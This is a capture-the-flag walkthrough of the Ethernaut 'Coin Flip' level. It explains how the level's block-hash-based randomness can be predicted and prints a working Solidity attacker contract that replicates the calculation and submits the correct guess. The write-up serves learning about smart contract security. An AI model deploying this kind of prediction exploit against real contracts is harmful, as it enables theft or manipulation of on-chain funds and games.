Ethernaut Puzzle 03 Coin Flip

This puzzle is also very classic and almost appears on every solidity practice website.

It asks us to generate the correct value (_guess in the code, true or false) and pass it as a parameter. After you guess correctly for at least 10 times, you can pass the problem.

When we take a look at this problem, we can see the source of this value is from block.number. From the official solidity document, we can see block.number is the current block number.

Thus we can build our own attack smart contract and run it for 10 times. Between each time we run, we should keep some time gap so that the block number for each time is different. Otherwise, the transactions will be reverted.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.7.3;

interface ICoinFlipChallenge {
function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker {
ICoinFlipChallenge public challenge;

constructor(address challengeAddress) {
challenge = ICoinFlipChallenge(challengeAddress);
}

function attack() external payable {
// simulate the same what the challenge contract does
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
bool side = coinFlip == 1 ? true : false;

// call challenge contract with same guess
challenge.flip(side);
}

receive() external payable {}
}